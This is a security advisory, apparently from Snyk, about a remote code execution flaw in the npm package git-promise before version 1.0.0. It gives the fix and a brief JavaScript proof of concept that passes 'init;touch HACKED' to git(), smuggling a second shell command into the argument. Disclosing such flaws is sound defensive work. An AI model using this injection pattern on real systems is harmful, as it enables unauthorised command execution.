Remote Code Execution (RCE) Affecting git-promise package, versions <1.0.0


Severity

Recommended
0.0
high
0
10

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  • Snyk IDSNYK-JS-GITPROMISE-567476
  • published26 Apr 2020
  • disclosed25 Apr 2020
  • creditMichele Romano (mik317)

Introduced: 25 Apr 2020

CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade git-promise to version 1.0.0 or higher.

Overview

git-promise is a Simple wrapper that allows you to run any git command using a more intuitive syntax.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). The issue occurs because a user input is formatted inside a command that will be executed without any check.

PoC

var git = require("git-promise");
 
git("init;touch HACKED").then(function (branch) {
  console.log(branch); 
});

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